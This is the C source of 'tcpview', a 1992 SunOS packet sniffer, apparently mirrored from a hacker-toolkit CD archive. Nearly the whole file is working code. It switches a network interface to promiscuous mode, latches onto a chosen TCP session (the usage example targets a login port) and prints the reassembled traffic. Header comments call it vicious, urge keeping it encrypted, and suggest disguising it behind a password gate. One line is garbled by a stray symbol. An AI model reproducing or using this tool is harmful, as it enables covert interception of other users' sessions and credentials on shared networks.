home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit 2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / Sniffers / unix / tcpview.c < prev    next >
Encoding:
C/C++ Source or Header  |  1999-11-04  |  13.3 KB  |  503 lines

  1. /**
  2.  ** version     : v1.01
  3.  ** architecture: SunOS 4.1 [Sun3/Sun4]
  4.  ** compilation : cc -O4 tcpw.c -o tcpw; strip tcpw
  5.  ** source rights: this is an EXTREMELLY VICIOUS program, it is ADVISED
  6.  **     that if you must keep this source online, KEEP IT IN ENCRYPTED
  7.  **     FORM.
  8.  ** downloaded from http://www.uha1.com
  9.  **/
  10.  
  11. #include <stdio.h>
  12. #include <ctype.h>
  13. #include <string.h>
  14. #include <sys/time.h>
  15. #include <sys/file.h>
  16. #include <sys/stropts.h>
  17. #include <sys/signal.h>
  18. #include <netdb.h>
  19. #include <sys/types.h>
  20. #include <sys/socket.h>
  21. #include <sys/ioctl.h>
  22. #include <net/if.h>
  23. #include <net/nit_if.h>
  24. #include <net/nit_buf.h>
  25. #include <net/if_arp.h>
  26. #include <netinet/in.h>
  27. #include <netinet/if_ether.h>
  28. #include <netinet/in_systm.h>
  29. #include <netinet/ip.h>
  30. #include <netinet/udp.h>
  31. #include <netinet/ip_var.h>
  32. #include <netinet/udp_var.h>
  33. #include <netinet/in_systm.h>
  34. #include <netinet/tcp.h>
  35. #include <netinet/ip_icmp.h>
  36.  
  37. char *malloc();
  38. char *device;
  39. int debug = 0,            /* debug */
  40.   fastdump = 0,            /* do no sequential packet processing */
  41.   oneway = 0;            /* oneway watch */
  42.  
  43. char *ProgName;
  44.  
  45. #define  NIT_DEV  "/dev/nit"
  46. #define  CHUNKSIZE  4096    /* device buffer size */
  47.  
  48. int if_fd = -1;
  49. int Packet[CHUNKSIZE + 32];
  50.  
  51. #define  STREAM_NULL  (0)
  52. #define  STREAM_STOD  (1)
  53. #define  STREAM_DTOS  (2)
  54. #define  STREAM_MAX  (3)
  55.  
  56. struct PktStack {
  57.   u_char data[CHUNKSIZE];
  58.   int Len;
  59.   u_long Seq;
  60. };
  61.  
  62. #define  STACK_MAX  (10)
  63.  
  64. struct PktStack pkt_stack[STREAM_MAX][STACK_MAX];
  65. int pkt_snum[STREAM_MAX];
  66. u_long seq_num[STREAM_MAX];
  67. char *Hostname[STREAM_MAX];
  68. struct in_addr IPaddr[STREAM_MAX];
  69. int TCPport[STREAM_MAX];
  70.  
  71. #define  ISeq(s,d)  ((s) == (d))
  72. #define  ISneq(s,d)  ((s) != (d))
  73.  
  74. void
  75. Pexit(err, msg)
  76.   int err;
  77.   char *msg;
  78. {
  79.   perror(msg);
  80.   exit(err);
  81. }
  82.  
  83. void
  84. Zexit(err, msg)
  85.   int err;
  86.   char *msg;
  87. {
  88.   fprintf(stderr, msg);
  89.   exit(err);
  90. }
  91.  
  92. #define  FREEstk(SK,St,Rc) { \
  93.   SK.Len = (-1); \
  94.   if(!(--pkt_snum[St])) \
  95.     return(Rc); \
  96.   }
  97. #define  ALLOCstk(SK,Len,Data,S,St) { \
  98.   bcopy(Data,SK.data,Len); \
  99.   SK.Len = Len; \
  100.   SK.Seq = S; \
  101.   pkt_snum[St]++; \
  102.   }
  103. #define  pr_packet(p,length) { \
  104.   while(length-- >0) \
  105.   fputc(*p++,stdout); \
  106.   fflush(stdout); \
  107.   }
  108. #define  MAL_pr_packet(i_p,i_length) { \
  109.   register u_char *p = i_p; \
  110.   register int length = i_length; \
  111.   pr_packet(p,length); \
  112.   }
  113. #define  DEBUGstk(Msg,Num,Seq) if(debug) { \
  114.   printf(Msg,Num,Seq); fflush(stdout); \
  115.   }
  116. #define  SPKT  pkt_stack[Tp][i]
  117.  
  118. /* find and print any packets in the stack IF they are sequential
  119.  * after ours
  120.  */
  121. int
  122. cpr_stack(Tp)
  123.   register int Tp;
  124. {
  125.   register int i, pr = 1;
  126.  
  127.   while (pr)
  128.     for (pr = i = 0; (i < STACK_MAX) && (!pr); i++) {
  129.       if (ISneq(SPKT.Len, (-1))) {
  130.     if (SPKT.Seq <= seq_num[Tp]) {    /* check for old packets */
  131.       DEBUGstk("DISCARD(%d/%08X)\n",
  132.            pkt_snum[Tp], SPKT.Seq);
  133.       FREEstk(SPKT, Tp, 0);
  134.     } else if (ISeq(SPKT.Seq, (seq_num[Tp] + 1))) {    /* check for ours! */
  135.       DEBUGstk("POP(%d/%08X\n", pkt_snum[Tp], SPKT.Seq);
  136.       seq_num[Tp] = SPKT.Seq;
  137.       MAL_pr_packet(SPKT.data, SPKT.Len);
  138.       FREEstk(SPKT, Tp, 0);
  139.       pr = 1;
  140.     }
  141.       }
  142.     }
  143. }
  144.  
  145. /* push packet onto stack, also checking for overflow, if so, dump
  146.  * the stack [missing packet assumed unrecoverable] */
  147. int
  148. psh_stack(S, Tp, p, Len)
  149.   register u_long S;
  150.   register int Tp, Len;
  151.   register u_char *p;
  152. {
  153.   register
  154.   int i = 0;
  155.   register struct PktStack *PK = NULL;
  156.  
  157.   for (; (i < STACK_MAX); i++) {
  158.     if (ISneq(SPKT.Len, (-1))) {
  159.       if (ISeq(SPKT.Seq, S))
  160.     return (0);        /* that Seqnum is already on the stack */
  161.     } else if (ISeq(PK, NULL)) {
  162.       PK = &SPKT;
  163.     }
  164.   }
  165.   /* its not on the stack and we got a position for it */
  166.   if (ISneq(PK, NULL)) {
  167.     DEBUGstk("PUSH(%d/%08X)\n", pkt_snum[Tp], S);
  168.     bcopy(p, PK->data, Len);
  169.     PK->Len = Len;
  170.     PK->Seq = S;
  171.     pkt_snum[Tp]++;
  172.     return (0);
  173.   } {
  174.     /* if we reach here, stack is full, assume missing packet is
  175.  * gone forever, so just dump now ..   */
  176.     register int j;
  177.     register u_long CS;
  178.  
  179.     while (1) {
  180.       j = (STACK_MAX + 2);
  181.       CS = ~(0);        /* determine lowest seq number */
  182.       for (i = 0; (i < STACK_MAX); i++) {
  183.     if (ISneq(SPKT.Len, (-1)) && (SPKT.Seq <= CS)) {
  184.       CS = SPKT.Seq;
  185.       j = i;
  186.     }
  187.       }                /* must be nothing in stack */
  188.       if (j > STACK_MAX)
  189.     return (1);        /* print */
  190.       seq_num[Tp] = SPKT.Seq;
  191.       DEBUGstk("FLUSH(%d/%08X)\n", pkt_snum[Tp], SPKT.Seq);
  192.       MAL_pr_packet(SPKT.data, SPKT.Len);
  193.       FREEstk(SPKT, Tp, 1);
  194.     }
  195.   }
  196. }
  197.  
  198. #define  IP  ((struct ip *)Packet)
  199. #define  IP_OFFSET  (0x1FFF)
  200. #define  SZETH  (sizeof(struct ether_header))
  201. #define  IPLEN  (ntohs(ip->ip_len))
  202. #define  IPHLEN  (ip->ip_hl)
  203. #define  ADneq(s,t)  ((s).s_addr != (t).s_addr)
  204.  
  205. /* important part of the prog, determines if a packet is one
  206.  * we want, and performs sycnhing of sequence numbers */
  207. void
  208. filter(cp, pktlen)
  209.   char *cp;
  210.   u_int pktlen;
  211. {
  212.   register int Stream = STREAM_NULL;
  213.   register struct ip *ip;
  214.   register struct tcphdr *tcph;
  215.   register u_long CurSEQ;
  216.   register u_char *p;
  217.  
  218.   {
  219.     register u_short EtherType = ntohs(((struct ether_header *) cp)->ether_type);
  220.  
  221.     if (EtherType < 0x600) {
  222.       EtherType = *(u_short *) (cp + SZETH + 6);
  223.       cp += 8;
  224.       pktlen -= 8;
  225.     }
  226.     if (ISneq(EtherType, ETHERTYPE_IP))
  227.       return;
  228.   }
  229.   /* ugh, gotta do an alignment :-( */
  230.   bcopy(cp + SZETH, (char *) Packet, (int) (pktlen - SZETH));
  231.   ip = (struct ip *) Packet;
  232.   if (ISneq(ip->ip_p, IPPROTO_TCP))
  233.     return;
  234.   tcph = (struct tcphdr *) (Packet + IPHLEN);
  235.   CurSEQ = (ntohl(tcph->th_seq));
  236.   if (debug) {
  237.     printf("SRC:%s(%d) ", inet_ntoa(ip->ip_src), tcph->th_sport);
  238.     printf("DST:%s(%d)\n", inet_ntoa(ip->ip_dst), tcph->th_dport);
  239.   }
  240.   if (ISeq(tcph->th_sport, TCPport[STREAM_STOD]) &&
  241.       ISeq(tcph->th_dport, TCPport[STREAM_DTOS])) {
  242.     if (ADneq(ip->ip_src, IPaddr[STREAM_STOD]) ||
  243.     ADneq(ip->ip_dst, IPaddr[STREAM_DTOS]))
  244.       return;
  245.     if (!seq_num[Stream = STREAM_STOD]) {
  246.       seq_num[STREAM_STOD] = CurSEQ - 1;
  247.       printf("Hooked S->D [Seq %08X] ...\n", CurSEQ);
  248.     } else if (CurSEQ <= seq_num[STREAM_STOD])
  249.       return;
  250.   } else if ((!oneway) &&
  251.          ISeq(tcph->th_sport, TCPport[STREAM_DTOS]) &&
  252.          ISeq(tcph->th_dport, TCPport[STREAM_STOD])) {
  253.     if (ADneq(ip->ip_src, IPaddr[STREAM_DTOS]) ||
  254.     ADneq(ip->ip_dst, IPaddr[STREAM_STOD]))
  255.       return;
  256.     if (!seq_num[Stream = STREAM_DTOS]) {
  257.       seq_num[STREAM_DTOS] = CurSEQ - 1;
  258.       printf("Hooked D->S [Seq %08X] ...\n", CurSEQ);
  259.     } else if (CurSEQ <= seq_num[STREAM_DTOS])
  260.       return;
  261.   } else
  262.     return;
  263.   {
  264.     register int length = ((IPLEN - (IPHLEN * 4)) - (tcph->th_off * 4));
  265.  
  266.     if (debug)
  267.       printf("[%s]Seq=%08X,pl=%04X,dl=%04X,l=%04X,iph=%04X,ipl=%04X,tf=%04X\n",
  268.          (Stream == STREAM_STOD) ? " S / D " : " D / S ", CurSEQ, pktlen,
  269.        (IPLEN - (IPHLEN * 4)), length, ip->ip_hl, ip->ip_len, tcph->th_off);
  270.     p = (u_char *) Packet;
  271.     p += ((ip->ip_hl * 4) + (tcph->th_off * 4));
  272.     if (fastdump) {
  273.       pr_packet(p, length);
  274.     } else {
  275.     re_loop:if (ISeq(CurSEQ, (seq_num[Stream] + 1))) {
  276.     seq_num[Stream] = CurSEQ;
  277.     pr_packet(p, length);
  278.     if (pkt_snum[Stream])    /* check for 'stacked' packets */
  279.       cpr_stack(Stream);
  280.       } else {
  281.     /* out of sequence packet */
  282.     if (psh_stack(CurSEQ, Stream, p, length))
  283.       goto re_loop;
  284.       }
  285.     }
  286.   }
  287. }
  288.  
  289. /* signal handler */
  290. void
  291. flushit()
  292. {
  293.   printf("\n\n[terminating]\n");
  294.   fflush(stdout);
  295.   exit(1);
  296. }
  297.  
  298. /* opens network interface, performs ioctls and reads from it,
  299.  * passing data to filter function */
  300. void
  301. do_it()
  302. {
  303.   int cc;
  304.   char *buf;
  305.  
  306.   u_short sp_ts_len;
  307.  
  308.   if (!(buf = malloc(CHUNKSIZE)))
  309.     Pexit(1, "Eth: malloc");
  310.   /* this /dev/nit initialization code pinched from etherfind */  {
  311.     struct strioctl si;
  312.     struct ifreq ifr;
  313.     struct timeval timeout;
  314.     u_int chunksize = CHUNKSIZE;
  315.     u_long if_flags = NI_PROMISC;
  316.  
  317.     if ((if_fd = open(NIT_DEV, O_RDONLY)) < 0)
  318.       Pexit(1, "Eth: nit open");
  319.     if (ioctl(if_fd, I_SRDOPT, (char *) RMSGD) < 0)
  320.       Pexit(1, "Eth: ioctl (I_SRDOPT)");
  321.     si.ic_timout = INFTIM;
  322.     if (ioctl(if_fd, I_PUSH, "nbuf") < 0)
  323.       Pexit(1, "Eth: ioctl (I_PUSH \"nbuf\")");
  324.     timeout.tv_sec = 1;
  325.     timeout.tv_usec = 0;
  326.     si.ic_cmd = NIOCSTIME;
  327.     si.ic_len = sizeof (timeout);
  328.     si.ic_dp = (char *) &timeout;
  329.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  330.       Pexit(1, "Eth: ioctl (I_STR: NIOCSTIME)");
  331.     si.ic_cmd = NIOCSCHUNK;
  332.     si.ic_len = sizeof (chunksize);
  333.     si.ic_dp = (char *) &chunksize;
  334.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  335.       Pexit(1, "Eth: ioctl(I_STR:NIOCSCHUNK) ");
  336.     strncpy(ifr.ifr_name, device, sizeof (ifr.ifr_name));
  337.     ifr.ifr_name[sizeof (ifr.ifr_name) - 1] = '\0';
  338.     si.ic_cmd = NIOCBIND;
  339.     si.ic_len = sizeof (ifr);
  340.     si.ic_dp = (char *) 𝔦
  341.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  342.       Pexit(1, "Eth: ioctl (I_STR: NIOCBIND)");
  343.     si.ic_cmd = NIOCSFLAGS;
  344.     si.ic_len = sizeof (if_flags);
  345.     si.ic_dp = (char *) &if_flags;
  346.     if (ioctl(if_fd, I_STR, (char *) &si) < 0)
  347.       Pexit(1, "Eth: ioctl (I_STR:    NIOCSFLAGS) ");
  348.     if (ioctl(if_fd, I_FLUSH, (char *) FLUSHR) < 0)
  349.       Pexit(1, "Eth: ioctl (I_FLUSH)");
  350.   }
  351.   while ((cc = read(if_fd, buf, CHUNKSIZE)) >= 0) {
  352.     register char *bp = buf, *bufstop = (buf + cc);
  353.  
  354.     while (bp < bufstop) {
  355.       register char *cp = bp;
  356.  
  357.       register struct nit_bufhdr *hdrp;
  358.  
  359.       hdrp = (struct nit_bufhdr *) cp;
  360.       cp += sizeof (struct nit_bufhdr);
  361.  
  362.       bp += hdrp->nhb_totlen;
  363.       filter(cp, (u_long) hdrp->nhb_msglen);
  364.     }
  365.   } Pexit((-1), "Eth: read");
  366. }
  367.  
  368. /* Parses Hostname/port information */
  369. int
  370. FixHost(h, Tp)
  371.   char *h;
  372.   int Tp;
  373. {
  374.   int ok = 1, i = 0;
  375.   char *ptr;
  376.  
  377.   if (!(ptr = strtok(h, "/")))
  378.     return (0);
  379.   /* get hostname, convert from symbolic if needed */
  380.   if ((IPaddr[Tp].s_addr = inet_addr(ptr)) == (unsigned) -1) {
  381.     struct hostent *he = gethostbyname(ptr);
  382.  
  383.     if (he) {
  384.       Hostname[Tp] = strdup(he->h_name);
  385.       bcopy(he->h_addr, (char *) &IPaddr[Tp].
  386.         s_addr, 4);
  387.     } else
  388.       return (0);
  389.   } else
  390.     Hostname[Tp] = strdup(inet_ntoa(IPaddr[Tp]));
  391.   if (!(ptr = strtok(NULL, "")))
  392.     return (0);
  393.   /* get portname, conver from symbolic if needed */
  394.   if ((TCPport[Tp] = atoi(ptr)) == 0) {
  395.     struct servent *sv = getservbyname(ptr, "tcp");
  396.  
  397.     if (sv)
  398.       TCPport[Tp] = sv->s_port;
  399.     else
  400.       return (0);
  401.   }
  402.   return (1);
  403. }
  404.  
  405. #define AUTHPASSWD "EloiZgZejWyms"
  406. /* Important! ensures other people cant (easily) run this program,
  407.  * you may consider removing the HELP text to disguise it.
  408.  */
  409. void
  410. Get_Authorization()
  411. {
  412.   char *buf, *getpass(), *crypt();
  413.   char pwd[21];
  414.  
  415.   strcpy(pwd, AUTHPASSWD);
  416.   buf = getpass("up? ");
  417.   if (strcmp(pwd, crypt(buf, pwd)))
  418.     exit(1);
  419. }
  420.  
  421. void
  422. Usage()
  423. {
  424.   fprintf(stderr, "Usage: %s [-i device] [-d] [-o] [-f] SRC.Host/Port DST.Host/Port\n",
  425.       ProgName);
  426.   fprintf(stderr, "  -o         Oneway [Watch src->dst packets only]\n");
  427.   fprintf(stderr, "  -d         Debug\n");
  428.   fprintf(stderr, "  -f         Fastdump - ignore sequence numbers\n");
  429.   fprintf(stderr, "  -i    device specify logical ethernet interface\n");
  430.   fprintf(stderr, " Host/Port  Hostname with respective port, maybe in\n");
  431.   fprintf(stderr, " numeric or symbolic format.\n\n");
  432.   fprintf(stderr, "  Example:   %s -i le0 -o hack.com/login 128.2.2.2/5645\n", ProgName);
  433.   fprintf(stderr, "             (C)1992 >R  -> AUTHORIZED USE ONLY\n");
  434.   exit(1);
  435. }
  436.  
  437. /* Where it all begins ... */
  438. void
  439. main(argc, argv)
  440.   int argc;
  441.   char **argv;
  442. {
  443.   char cbuf[BUFSIZ];
  444.   struct ifconf ifc;
  445.   int s, ac = 1;
  446.  
  447.   ProgName = argv[0];
  448.   if (argc < 3)
  449.     Usage();
  450.   /* Get_Authorization();        /* parse args */
  451.   device = NULL;
  452.   while (argv[ac][0] == '-') {
  453.     register char ch = argv[ac++][1];
  454.  
  455.     switch (toupper(ch)) {
  456.     case 'I':
  457.       device = argv[ac++];
  458.       break;
  459.     case 'D':
  460.       debug = 1;
  461.       break;
  462.     case 'O':
  463.       oneway = 1;
  464.       break;
  465.     case 'F':
  466.       fastdump = 1;
  467.       break;
  468.     default:
  469.       Usage();
  470.       break;
  471.     }
  472.   }                /* resolve host/ports */
  473.   if (!FixHost(argv[ac++], STREAM_STOD))
  474.     Zexit(1, "Cannot resolve source host/port");
  475.   if (!FixHost(argv[ac++], STREAM_DTOS))
  476.     Zexit(1, "Cannot resolve destination host/port"); {
  477.     register int i, j;
  478.  
  479.     for (i = 0; i < STREAM_MAX; i++) {
  480.       pkt_snum[i] = 0;
  481.       seq_num[i] = 0;
  482.       for (j = 0; j < STACK_MAX; j++)
  483.     pkt_stack[i][j].Len = -1;
  484.     }
  485.     }                /* if not a specified device, determine it */
  486.     if (!device) {
  487.       if ((s = socket(AF_INET, SOCK_DGRAM, 0)) < 0)
  488.     Pexit(1, "Eth: socket");
  489.       ifc.ifc_len = sizeof (cbuf);
  490.       ifc.ifc_buf = cbuf;
  491.       if (ioctl(s, SIOCGIFCONF, (char *) &ifc) < 0)
  492.     Pexit(1, "Eth: ioctl");
  493.       close(s);
  494.       device = ifc.ifc_req->ifr_name;
  495.     }
  496.   printf("IP/TCP monitor: %s(%d) <=> %s(%d)\n", Hostname[STREAM_STOD], TCPport[STREAM_STOD], Hostname[STREAM_DTOS], TCPport[STREAM_DTOS]);
  497.   printf("Configured device %s [%s], %s%s%ssynching stream ...\n", device, NIT_DEV, (debug) ? "(debug) " : "", (oneway) ? "(1way) " : "", (fastdump) ? "(fdmp) " : "");
  498.   fflush(stdout);
  499.   signal(SIGINT, flushit);
  500.   signal(SIGTERM, flushit);
  501.   do_it();            /* NOT_REACHED */
  502. }
  503.